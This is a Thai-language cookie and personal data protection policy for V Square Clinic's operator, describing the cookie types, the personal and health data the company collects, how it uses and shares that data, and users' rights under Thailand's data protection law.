  2. คุกกี้ประเภทการวิเคราะห์และวัดผลการทำงาน (Analytics Cookies): คุกกี้ประเภทนี้จะช่วยให้เราสามารถวัดผลการทำงานของเรา โดยประมวลผลจำนวนหน้าของเว็บไซต์ที่ท่านเข้าเยี่ยมชม ตลอดจนจำนวนลักษณะเฉพาะของกลุ่มผู้เยี่ยมชมนั้นๆ โดยข้อมูลดังกล่าวจะนำมาใช้ในการวิเคราะห์รูปแบบพฤติกรรมของผู้เยี่ยมชม และเราจะนำผลลัพธ์ดังกล่าวไปใช้ในการปรับปรุงเว็บไซต์ให้ตอบสนองความต้องการ และการใช้งานของผู้เยี่ยมชมมากยิ่งขึ้น อย่างไรก็ตาม ข้อมูลที่ได้และใช้ประมวลผลนั้นไม่มีการระบุชื่อ หรือบ่งบอกความเป็นตัวตนของท่านได้ อีกทั้งไม่มีการเก็บข้อมูลจำเพาะบุคคลเช่น ชื่อ อีเมล เป็นต้น แต่ทั้งนี้ จะใช้เป็นข้อมูลทางสถิติเท่านั้น
  3. คุกกี้ประเภทการทำงาน (Preference Cookies) : คุกกี้ประเภทนี้จะใช้ในการจดจำคุณลักษณะต่างๆ ที่ท่านได้เลือกในขณะเข้าเยี่ยมชม/ใช้งานเว็บไซต์ โดยข้อมูลที่ถูกบันทึกไว้เหล่านี้จะถูกนำกลับมาใช้อีกครั้งในคราวที่ท่านกลับมาเยี่ยมชม/ใช้งานเว็บไซต์ของเรา และสิ่งที่ท่านเคยได้เลือกใช้นั้นจะนำมาแสดงผลโดยที่ท่านไม่จำเป็นต้องทำการเลือกใหม่อีกครั้งเพื่อความสะดวกสบายในการใช้งานของท่าน อย่างไรก็ตาม ข้อมูลที่ได้และใช้ประมวลผลนั้นจะไม่มีการระบุชื่อ หรือบ่งบอกความเป็นตัวตนของท่านได้ อีกทั้งไม่มีการเก็บข้อมูลจำเพาะบุคคล เช่น ชื่อ อีเมล เป็นต้น แต่ทั้งนี้ จะใช้เป็นข้อมูลทางสถิติเท่านั้น
  4. คุกกี้ประเภทการโฆษณา (Marketing Cookies): คุกกี้ประเภทนี้จะใช้ในการจดจำการเข้าหน้าเว็บไซต์ จุดเยี่ยมชม และจุดสนใจของท่าน โดยข้อมูลที่ได้นี้จะนำไปประกอบการปรับปรุง/พัฒนาหน้าเว็บไซต์ และนโยบายทางการตลาดที่เหมาะสมกับความต้องการของท่านต่อไป

วิธีจัดการ/ลบคุกกี้

ท่านสามารถปฏิเสธ ยอมรับ หรือเอาคุกกี้ออกจากเว็บไซต์ในเวลาใดๆ ก็ได้ โดยการเปิดใช้งานหรือเข้าไปในการตั้งบราวเซอร์ (Browser) ของท่าน และศึกษาขั้นตอน/วิธีการที่ระบุไว้ในเว็บเบราว์เซอร์ต่างๆ ที่ท่านเลือกใช้ตามลิงก์ดังต่อไปนี้

หมายเหตุ

หากท่านเลือกที่จะปิดการใช้งานคุกกี้บนเบราว์เซอร์หรืออุปกรณ์คอมพิวเตอร์ของท่านในเวลาใดๆ ท่านอาจพบว่าคุณลักษณะบางอย่างของเว็บไซต์อาจไม่สามารถทำงานหรือให้บริการได้ตามวัตถุประสงค์ที่กำหนดไว้ เช่น ท่านอาจจะไม่สามารถเข้าเยี่ยมชมพื้นที่บางส่วนของเว็บไซต์ หรือท่านอาจจะไม่ได้รับข้อมูลที่จัดให้เป็นการเฉพาะตัวเมื่อท่านเข้าเยี่ยมชมเว็บไซต์ของเรา

มาตรการรักษาความมั่นคงปลอดภัยสำหรับเว็บไซต์

ในระหว่างการใช้งานคุกกี้ เราจะใช้มาตรการรักษาความมั่นคงปลอดภัยทางกายภาพ ทางอิเล็กทรอนิกส์ และทางองค์กร สำหรับเว็บไซต์ของเราอย่างเหมาะสมและสม่ำเสมอ เพื่อปกป้องข้อมูลส่วนบุคคลของท่านจากการถูกทำลายหรือกระทำผิดกฎหมาย, การสูญหาย, การเปลี่ยนแปลง, การแก้ไข, การเปิดเผย หรือการเข้าถึง หรือใช้โดยไม่ได้รับอนุญาตทั้งปวง

การแก้ไข/เปลี่ยนแปลงนโยบาย

เราอาจทบทวนและแก้ไข/เปลี่ยนแปลงนโยบายนี้เป็นครั้งคราวเพื่อให้สอดคล้องกับการเปลี่ยนแปลงของการให้บริการและการดำเนินงานของเรา รวมทั้งข้อเสนอแนะและความคิดเห็นจากท่าน ตลอดจนข้อกฎหมายที่เกี่ยวข้อง โดยนโยบายที่ได้แก้ไข/เปลี่ยนแปลงล่าสุดจะประกาศบนเว็บไซต์ของเรา เพื่อให้ท่านทราบแนวทางที่เราใช้ในการปกป้องและคุ้มครองข้อมูลส่วนบุคคลของท่านจากการใช้คุกกี้ของเรา

นโยบายในการคุ้มครองข้อมูลส่วนบุคคล (Data Protection Policy)

บริษัท วี เอ็กคลูซีฟ กรุ๊ป จำกัด (“เรา”) ให้ความสำคัญกับการคุ้มครองข้อมูลส่วนบุคคลของลูกค้า/เจ้าของข้อมูลส่วนบุคคล (“ท่าน”) ซึ่งข้อกำหนดและเงื่อนไขในนโยบายในการคุ้มครองข้อมูลส่วนบุคคลนี้ (“นโยบาย”)คือแนวทางที่เราปฏิบัติต่อข้อมูลส่วนบุคคลของท่าน ไม่ว่าจะเป็นการเก็บรวบรวม การใช้ การเปิดเผย ตลอดจนการปกป้องและคุ้มครองข้อมูลส่วนบุคคลที่ท่านได้ให้กับเราไว้ในระหว่างการเยี่ยมชม เว็บไซต์ https://www.vsquareclinic.com/, https://vsqclinic.com/, https://www.vsquareconsult.com/, https://vsquare-under-eye.com/, https://v-sure.vsquare.clinic หรือรับบริการจากเราโดยนโยบายนี้ครอบคลุมถึงข้อมูลเกี่ยวกับบุคคลใดๆ ที่สามารถระบุถึงตัวท่านได้ไม่ว่าทางตรงหรือทางอ้อม และไม่ว่าจะได้รับจากท่านโดยตรงหรือเป็นการส่งต่อมาจากบุคคลที่สามก็ตาม (“ข้อมูลส่วนบุคคล”) นอกเหนือจากการปฏิบัติตามนโยบายนี้แล้ว เราจะยึดถือปฏิบัติตามบทบัญญัติของกฎหมายว่าด้วยการคุ้มครองข้อมูลส่วนบุคคล ซึ่งประกอบด้วย พระราชบัญญัติคุ้มครองข้อมูลส่วนบุคคล พ.ศ. 2562 กฎ ประกาศ คำสั่งหรือระเบียบของหน่วยงานที่มีอำนาจกำกับดูแลที่เกี่ยวข้อง รวมทั้งหลักเกณฑ์ใดๆ ที่จะมีการแก้ไข/เพิ่มเติมในอนาคตด้วย

เราในฐานะผู้ควบคุมข้อมูลส่วนบุคคลของท่าน ได้จัดทำนโยบายนี้ขึ้น ซึ่งถือเป็นส่วนหนึ่งของข้อกำหนดและเงื่อนไขสำหรับการให้บริการเว็บไซต์และแอปพลิเคชันของเรา รวมทั้งการเข้ารับบริการของท่าน โดยในการใช้บริการดังกล่าวในแต่ละครั้ง ให้ถือว่าท่านได้อ่านและตกลงยอมรับนโยบายนี้ ซึ่งมีรายละเอียดดังต่อไปนี้

การเก็บรวบรวมข้อมูลส่วนบุคคล

เราจะเก็บรวบรวมข้อมูลส่วนบุคคลจากท่านเท่าที่จำเป็นเพื่อวัตถุประสงค์ตามที่ได้แจ้งไว้ในนโยบายนี้ รวมทั้งวัตถุประสงค์อื่นใดอันชอบด้วยกฎหมายของเราเท่านั้น ไม่ว่าจะได้รับผ่านช่องทางเว็บไซต์ แอปพลิเคชันบนโทรศัพท์เคลื่อนที่ หรือช่องทางอื่นใดของเรา นอกจากนี้ เราอาจได้รับข้อมูลส่วนบุคคลของท่านจากบุคคลที่สาม เช่น หน่วยงานภาครัฐ หรือหน่วยงานเอกชนในกรณีที่ท่านได้ให้ความยินยอมในการเปิดเผยข้อมูลดังกล่าวไว้ หรือเป็นการเปิดเผยตามที่กฎหมายกำหนดด้วย

ประเภทของข้อมูลส่วนบุคคลที่เราเก็บรวบรวม

ประเภทของข้อมูลส่วนบุคคล หรือข้อมูลอื่นๆ ที่เราเก็บรวบรวมโดยตรงจากท่าน หรือจากบุคคลที่สาม มีดังต่อไปนี้

  • ข้อมูลระบุตัวตน เช่น ชื่อ นามสกุล เลขที่บัตรประชาชน/หนังสือเดินทาง วันเดือนปีเกิด อายุ
  • ข้อมูลสำหรับการติดต่อ เช่น ที่อยู่ หมายเลขโทรศัพท์ ที่อยู่จดหมายอิเล็กทรอนิกส์
  • ข้อมูลการชำระเงิน เช่น บัญชีธนาคาร รายละเอียดของบัตรเครดิต/เดบิต หรือธนาคารออนไลน์
  • ข้อมูลการเข้ารับบริการ เช่น ข้อมูลหัตถการ ข้อมูลการนัดหมายแพทย์ ภาพจากกล้องวงจรปิด (CCTV)
  • ข้อมูลสถิติ เช่น จำนวนการเข้าชมเว็บไซต์หรือแอปพลิเคชันของเรา
  • ข้อมูลการเข้าใช้เว็บไซต์ของเรา เช่น IP Address, Cookies
  • ข้อมูลด้านสุขภาพ ข้อมูลชีวภาพ (เช่น ข้อมูลภาพจำลองใบหน้า เป็นต้น) ข้อมูลพันธุกรรม รายงานที่เกี่ยวกับสุขภาพ การใช้ยา แพ้ยา แพ้อาหาร และการวินิจฉัย
  • ข้อมูลการแสดงความคิดเห็น/วิจารณ์/คำติชมและผลลัพธ์การรักษาที่ท่านให้ไว้

ในกรณีที่เรามีความจำเป็นต้องเก็บรวบรวมข้อมูลส่วนบุคคล หรือข้อมูลอื่นใดนอกเหนือจากที่ระบุไว้ข้างต้น เราจะแจ้งให้ท่านทราบและอาจจะขอความยินยอมจากท่านก่อนตามหลักเกณฑ์ที่กฎหมายกำหนดไว้

วัตถุประสงค์ในการใช้ข้อมูลส่วนบุคคล

เรามีความจำเป็นต้องใช้ข้อมูลส่วนบุคคลและข้อมูลอื่นๆ ที่ได้เก็บรวบรวมไว้ เพื่อวัตถุประสงค์ดังต่อไปนี้

1. การให้บริการทางการแพทย์ได้แก่

  • การสร้างบัญชีประวัติของท่าน การดำเนินการและยืนยันตัวตนเพื่อเข้าถึงบริการของเรา (ไม่ว่าทางออนไลน์หรือออฟไลน์) การทำธุรกรรมแบบออนไลน์ การทำธุรกรรมแบบออฟไลน์ (เช่น การลงทะเบียนที่เคาน์เตอร์ลงทะเบียนของคลินิกแต่ละสาขา) หรือการขอรับบริการ/ความช่วยเหลือพิเศษ
  • การวิเคราะห์ปัญหาสุขภาพและความสามารถในการเข้ารับบริการของท่าน
  • การจัดหาบริการที่เหมาะสม หรือส่งมอบบริการของเรา
  • การค้นหาและนัดหมายแพทย์
  • การตรวจสอบข้อมูลและการยืนยันตัวตนของท่าน รวมทั้งการประสานงานและส่งต่อข้อมูลให้กับคลินิกในเครือข่าย ซึ่งจะช่วยอำนวยความสะดวกให้กับท่านและรับบริการได้รวดเร็วขึ้น
  • การสนับสนุนและการช่วยเหลือการใช้บริการ การตอบคำถามและคำร้องขอใดๆ จากท่าน และการแก้ไขปัญหาต่างๆ ที่เกิดขึ้นจากการเข้าถึงบริการของท่าน
  • การติดตามผลการรักษาของเรา และปัญหาสุขภาพของท่านที่อาจเกิดขึ้น

2. การชำระเงินและการทำบัญชี ได้แก่

  • การตรวจสอบการชำระเงินผ่านบัตรเครดิต/ธนาคารออนไลน์
  • การเรียกเก็บเงินและการตรวจสอบความถูกต้อง
  • การขอคืนเงิน
  • การรักษาความปลอดภัย รวมถึงความปลอดภัยขณะใช้บริการภายในคลินิก
  • การปฏิบัติตามกฎของคลินิกอันชอบด้วยกฎหมาย
  • การปฏิบัติตามกฎหมาย ข้อกำหนด ระเบียบ ข้อบังคับ หรือการร้องขอใดๆ จากหน่วยงานภาครัฐ เช่น การปฏิบัติตามหมายเรียกพยาน หรือคำสั่งศาล หรือการร้องขออื่นๆ ที่ถูกต้องตามกฎหมาย

3. การตลาดและการโฆษณาผลิตภัณฑ์/บริการ (ซึ่งเราจะขอความยินยอมโดยชัดแจ้งจากท่านก่อน)ได้แก่

  • การอำนวยความสะดวกในการค้นหาผลิตภัณฑ์/บริการ และการนำเสนอรายการสิทธิประโยชน์ต่างๆ ให้แก่ท่าน
  • การส่งข้อมูลข่าวสารเกี่ยวกับโปรโมชั่น การแนะนำผลิตภัณฑ์และบริการ รายการส่งเสริมการขายของคลินิก และธุรกิจของพันธมิตร
  • การสำรวจความพึงพอใจของท่าน การวิจัยตลาด และการวิเคราะห์ทางสถิติ เพื่อเป็นข้อมูลในการปรับปรุงผลิตภัณฑ์และบริการ หรือสร้างสรรค์ผลิตภัณฑ์และบริการใหม่ๆ

รวมถึงวัตถุประสงค์อื่นๆ ที่สนับสนุนการดำเนินการตามวัตถุประสงค์ข้างต้น หรือที่ได้รับความยินยอมจากท่านเป็นครั้งคราว

บุคคลที่ข้อมูลส่วนบุคคลอาจถูกเปิดเผย

เราอาจเปิดเผยหรือถ่ายโอนข้อมูลส่วนบุคคลของท่านไปยังบุคคลที่สาม ซึ่งอาจตั้งอยู่ภายในหรือนอกประเทศไทย ซึ่งเป็นประเทศที่มีมาตรฐานการคุ้มครองข้อมูลส่วนบุคคลอย่างเพียงพอและเป็นไปตามหลักเกณฑ์การให้ความคุ้มครองข้อมูลส่วนบุคคลที่กฎหมายกำหนด และเราจะดำเนินการตามมาตรการที่จำเป็นและเหมาะสม หรือเป็นไปตามข้อบังคับและกฎหมาย เพื่อให้บรรลุวัตถุประสงค์ตามที่ระบุไว้ข้างต้น ให้แก่บุคคลดังต่อไปนี้

  • บริษัทในเครือ ธุรกิจคู่ค้า และธุรกิจพันธมิตร
  • ตัวแทน ผู้ให้บริการ หรือคู่ค้าที่ให้บริการแก่เรา หรือดำเนินการใดๆ ในฐานะตัวแทนของเรา เช่น ผู้ให้บริการด้านเทคโนโลยีสารสนเทศ หรือผู้ประมวลผลข้อมูลส่วนบุคคล เป็นต้น
  • ธนาคาร และผู้ให้บริการรับชำระเงิน เช่น บริษัทบัตรเครดิต หรือเดบิต
  • เจ้าหน้าที่ หรือหน่วยงานรักษาความมั่นคงและความปลอดภัย
  • หน่วยงานตรวจคนเข้าเมือง และหน่วยงานศุลกากร
  • หน่วยงานภาครัฐ หน่วยงานกำกับดูแล และหน่วยงานอื่นๆ ตามที่กฎหมายอนุญาต หรือกำหนดไว้

การเชื่อมโยงไปยังเว็บไซต์/แอปพลิเคชันของบุคคลที่สาม

ในกรณีที่เว็บไซต์และแอปพลิเคชันของเราสามารถเชื่อมต่อไปยังเว็บไซต์หรือแอปพลิเคชันของบุคคลที่สามได้ เราขอแจ้งให้ท่านทราบว่า นโยบายนี้จะไม่ครอบคลุมไปถึงเว็บไซต์หรือแอปพลิเคชันของของบุคคลที่สามดังกล่าว ดังนั้น การที่บุคคลที่สามเก็บรวบรวม ใช้ หรือเปิดเผยข้อมูลส่วนบุคคลของท่านโดยประการใดๆ จึงอยู่นอกเหนือการรับรู้และการควบคุมของเรา และเราไม่มีส่วนเกี่ยวข้องและความรับผิดใดๆ จากการกระทำของบุคคลที่สามดังกล่าวนั้น

อนึ่ง ท่านควรตรวจสอบนโยบายในการคุ้มครองข้อมูลส่วนบุคคลของเว็บไซต์หรือแอปพลิเคชันนั้นก่อนการเข้าชมหรือใช้บริการใดๆ

การเก็บรักษาข้อมูลส่วนบุคคล และมาตรการรักษาความปลอดภัย

ข้อมูลส่วนบุคคลของท่านจะถูกเก็บรักษาไว้เป็นระยะเวลาเท่าที่จำเป็น เพื่อให้บรรลุวัตถุประสงค์ต่างๆ ที่อธิบายไว้ในนโยบายนี้ หรือภายใต้ข้อบังคับของกฎหมาย หรือเพื่อการก่อตั้งสิทธิเรียกร้องตามกฎหมาย การปฏิบัติตามหรือการใช้สิทธิเรียกร้องตามกฎหมาย หรือการยกขึ้นต่อสู่สิทธิเรียกร้องตามกฎหมาย หรือเพื่อการปฏิบัติตามกฎหมาย โดยเมื่อพ้นระยะเวลาดังกล่าวแล้ว เราจะดำเนินการลบ หรือทำลาย หรือทำให้ข้อมูลส่วนบุคคลไม่สามารถระบุตัวตนของท่านได้ตามขั้นตอนการดำเนินการของเราและจะดำเนินการให้แล้วเสร็จโดยไม่ชักช้า

เราจะใช้มาตรการทางเทคนิค และการบริหารจัดการที่เหมาะสมเพื่อป้องกันและรักษาความปลอดภัยของข้อมูลส่วนบุคคลของท่านที่เราเก็บรวบรวมไว้จากการถูกทำลายหรือกระทำผิดกฎหมาย, การสูญหาย, การแก้ไข, การเปลี่ยนแปลง. การเปิดเผย หรือการใช้/เข้าถึงโดยปราศจากอำนาจ/โดยมิชอบทั้งปวง เช่น เราใช้โปรโตคอลความปลอดภัย (Secure Sockets Layer: SSL) สำหรับการเข้ารหัสข้อมูลผ่านทางอินเทอร์เน็ต และเราจะจำกัดการเข้าถึงข้อมูลส่วนบุคคลของท่าน ไม่ว่าที่จัดเก็บในระบบอินเทอร์เน็ต หรือระบบคอมพิวเตอร์ หรือในรูปแบบเอกสารไว้เฉพาะบุคลากรที่มีความจำเป็นต้องดำเนินการเก็บรวบรวม ใช้ หรือเปิดเผยข้อมูลส่วนบุคคลนั้น และจะจัดเก็บในสถานที่/ทำเลที่ตั้งที่มีระบบป้องกันการเข้าถึง โดยจะจำกัดระดับ/ตำแหน่งของบุคคลที่สามารถเข้าถึงข้อมูลส่วนบุคคลไว้ด้วย

สิทธิเกี่ยวกับข้อมูลส่วนบุคคลของท่าน

ท่านมีสิทธิตามกฎหมายว่าด้วยการคุ้มครองข้อมูลส่วนบุคคลดังต่อไปนี้

  • ท่านมีสิทธิเข้าถึงข้อมูลส่วนบุคคลของท่านที่เราเก็บรักษาไว้ รวมถึงขอรับสำเนาข้อมูลส่วนบุคคล และขอให้โอนย้ายข้อมูลส่วนบุคคลของท่านที่ท่านให้ไว้กับเราไปยังผู้ควบคุมข้อมูลส่วนบุคคลรายอื่นหรือตัวท่านเองก็ได้
  • ท่านมีสิทธิคัดค้าน หรือขอระงับการเก็บรวบรวม ใช้ หรือเปิดเผยข้อมูลส่วนบุคคลของท่านได้
  • ท่านมีสิทธิขอให้เราทำให้ข้อมูลส่วนบุคคลของท่านถูกต้อง เป็นปัจจุบัน สมบูรณ์ และไม่ก่อให้เกิดความเข้าใจผิด และอาจขอให้เราลบ หรือทำลาย หรือทำให้ข้อมูลส่วนบุคคลไม่สามารถระบุตัวบุคคลได้ หรือเปิดเผยแหล่งที่มาของข้อมูลของท่านในกรณีที่ไม่ได้ให้ความยินยอมได้
  • ในกรณีที่ท่านพบว่า เราหรือบุคลากรของเราใช้ หรือเปิดเผยข้อมูลของท่าน ไม่เป็นไปตามที่ท่านได้ให้ความยินยอมไว้ หรือไม่เก็บรวบรวม ใช้ หรือเปิดเผยข้อมูลส่วนบุคคลตามที่กฎหมายกำหนดไว้ ท่านมีสิทธิร้องเรียนต่อคณะกรรมการคุ้มครองข้อมูลส่วนบุคคลได้
  • ท่านมีสิทธิในการขอเพิกถอนความยินยอมให้เราเก็บรวบรวม ใช้ หรือเปิดเผยข้อมูลส่วนบุคคลได้ตลอดระยะเวลาที่ข้อมูลส่วนบุคคลของท่านอยู่กับเรา เว้นแต่จะมีข้อจำกัดสิทธิในการเพิกถอนความยินยอมโดยกฎหมายหรือโดยสัญญาที่ให้ประโยชน์แก่ท่าน อย่างไรก็ตาม การที่ท่านได้เพิกถอนความยินยอมให้เราเก็บรวบรวม ใช้ หรือเปิดเผยข้อมูลส่วนบุคคลใดอาจส่งผลให้เรามีข้อมูลไม่เพียงพอต่อการดำเนินการใดๆ ให้บรรลุวัตถุประสงค์ตามที่ได้แจ้งไว้ และท่านอาจไม่มีความสะดวกในการเข้ารับบริการใดๆ จากเราได้

อนึ่ง เพื่อเป็นการป้องกันความเป็นส่วนตัวและความปลอดภัยของข้อมูลส่วนบุคคลของท่าน เราจะตรวจสอบข้อมูลส่วนบุคคลของท่านก่อนที่จะตอบสนองต่อคำขอใดๆ ข้างต้น และจะดำเนินการตอบกลับภายในระยะเวลาที่เหมาะสมและภายใต้ระยะเวลาที่กฎหมายกำหนด ทั้งนี้ ท่านรับทราบว่า เราอาจไม่สามารถอนุญาตให้ท่านเข้าถึงข้อมูลส่วนบุคคลบางอย่างได้ หากข้อมูลส่วนบุคคลของท่านเกี่ยวข้องกับข้อมูลส่วนบุคคลของบุคคลอื่น หรือถูกห้ามโดยกฎหมายใดๆ นอกจากนี้ เราอาจปฏิเสธคำขอของท่านสำหรับการลบหรือการแก้ไขข้อมูลส่วนบุคคลอันเนื่องจากบทบัญญัติทางกฎหมายต่างๆ โดยเฉพาะอย่างยิ่งคำขอที่ส่งผลกระทบต่อการดำเนินการทางบัญชีของเรา, กระบวนการยื่นข้อเรียกร้องตามกฎหมาย หรือวัตถุประสงค์ในการตรวจจับหรือป้องกันการฉ้อโกง และการเก็บรักษาข้อมูลส่วนบุคคลที่จำเป็นซึ่งไม่อนุญาตให้ทำการลบหรือกระทำการใดๆ ที่ทำให้ไม่สามารถระบุตัวตนได้

การแจ้งเหตุละเมิดข้อมูลส่วนบุคคล

ในกรณีที่มีเหตุละเมิดข้อมูลส่วนบุคคลของท่านเกิดขึ้น และการละเมิดนั้นมีความเสี่ยงสูงที่จะมีผลกระทบต่อสิทธิและเสรีภาพของท่าน เราจะแจ้งการละเมิดให้ท่านทราบพร้อมกับแนวทางการเยียวยาโดยไม่ชักช้าผ่านช่องทางต่างๆ เช่น เว็บไซต์/แอปพลิเคชันของเรา ข้อความ (SMS) ที่อยู่อีเมล โทรศัพท์ หรือจดหมาย เป็นต้น

ช่องทางการติดต่อเรา

หากท่านต้องการใช้สิทธิใดๆ ตามนโยบายนี้ หรือมีคำถาม ข้อเสนอแนะ หรือข้อขัดข้องใดๆ เกี่ยวกับนโยบายนี้ ท่านสามารถติดต่อเราได้ ณ V Square clinic ทุกสาขา หรือติดต่อสำนักงานใหญ่ได้ตามรายละเอียดดังต่อไปนี้

บริษัท วี เอ็กคลูซีฟ กรุ๊ป จำกัด (ทีมงานเจ้าหน้าที่คุ้มครองข้อมูลส่วนบุคคล)
555 อาคารรสา วัน ตึกเอ ชั้นที่ 21 ถนนพหลโยธิน แขวงจตุจักร เขตจตุจักร กรุงเทพมหานคร 10900
เบอร์โทรศัพท์:02-129-3709

ในการติดต่อเราทุกครั้ง ขอให้ท่านจัดเตรียมและให้ข้อมูลส่วนบุคคลต่างๆ ของท่านกับเราดังต่อไปนี้ด้วย

  • ชื่อ สกุล เลขที่บัตรประจำตัวประชาชน / เลขหนังสือเดินทาง
  • เรื่องที่ต้องการติดต่อสอบถาม รายละเอียด
  • เบอร์โทรศัพท์ และที่อยู่ที่สามารถติดต่อได้ รวมทั้งที่อยู่สำหรับการส่งจดหมายอิเล็กทรอนิกส์ ( E-mail) ของท่าน (หากมี)

การแก้ไข/เปลี่ยนแปลงนโยบาย

เราอาจทบทวนและแก้ไข/เปลี่ยนแปลงนโยบายนี้เป็นครั้งคราวเพื่อให้สอดคล้องกับการเปลี่ยนแปลงของการให้บริการและการดำเนินงานของเรา รวมทั้งข้อเสนอแนะและความคิดเห็นจากท่าน ตลอดจนข้อกฎหมายที่เกี่ยวข้อง โดยนโยบายที่ได้แก้ไข/เปลี่ยนแปลงล่าสุดจะประกาศบนเว็บไซต์ของเราที่ https://www.vsquareclinic.com/, https://vsqclinic.com/, https://www.vsquareconsult.com/, https://vsquare-under-eye.com/, https://v-sure.vsquare.clinic เพื่อให้ท่านทราบแนวทางที่เราใช้ในการปกป้องและคุ้มครองข้อมูลส่วนบุคคลของท่าน

นโยบายนี้ มีผลใช้บังคับนับตั้งแต่วันที่ 31 พฤษภาคม 2565 เป็นต้นไป
ประกาศ ณ วันที่ 31 พฤษภาคม 2565

เราใช้คุกกี้เพื่อพัฒนาประสบการณ์ที่ดีในการใช้เว็บไซต์ของคุณ สามารถศึกษานโยบายความเป็นส่วนตัวและจัดการความเป็นส่วนตัว ได้ที่ปุ่มตั้งค่า

Privacy Preferences

คุณสามารถเลือกการตั้งค่าคุกกี้โดยเปิด/ปิด คุกกี้ในแต่ละประเภทได้ตามความต้องการ ยกเว้น คุกกี้ที่จำเป็น

ยอมรับทั้งหมด
Manage Consent Preferences
  • คุกกี้ที่จำเป็น
    Always Active

    คุกกี้มีความจำเป็นสำหรับการทำงานของเว็บไซต์ เพื่อให้คุณสามารถใช้ได้อย่างเป็นปกติ และเข้าชมเว็บไซต์ คุณไม่สามารถปิดการทำงานของคุกกี้นี้ในระบบเว็บไซต์ของเราได้

  • คุกกี้เพื่อการวิเคราะห์

    คุกกี้ประเภทนี้จะทำการเก็บข้อมูลการใช้งานเว็บไซต์ของคุณ เพื่อเป็นประโยชน์ในการวัดผล ปรับปรุง และพัฒนาประสบการณ์ที่ดีในการใช้งานเว็บไซต์ ถ้าหากท่านไม่ยินยอมให้เราใช้คุกกี้นี้ เราจะไม่สามารถวัดผล ปรับปรุงและพัฒนาเว็บไซต์ได้

  • คุกกี้เพื่อปรับเนื้อหาให้เข้ากับกลุ่มเป้าหมาย

    คุกกี้ประเภทนี้จะเก็บข้อมูลต่าง ๆ รวมทั้งข้อมูลส่วนบุคคลเกี่ยวกับตัวคุณเพื่อเราสามารถนำมาวิเคราะห์ และนำเสนอเนื้อหา ให้ตรงกับความเหมาะสมกับความสนใจของคุณ ถ้าหากคุณไม่ยินยอมเราจะไม่สามารถนำเสนอเนื้อหาและโฆษณาได้ไม่ตรงกับความสนใจของคุณ

บันทึกการตั้งค่า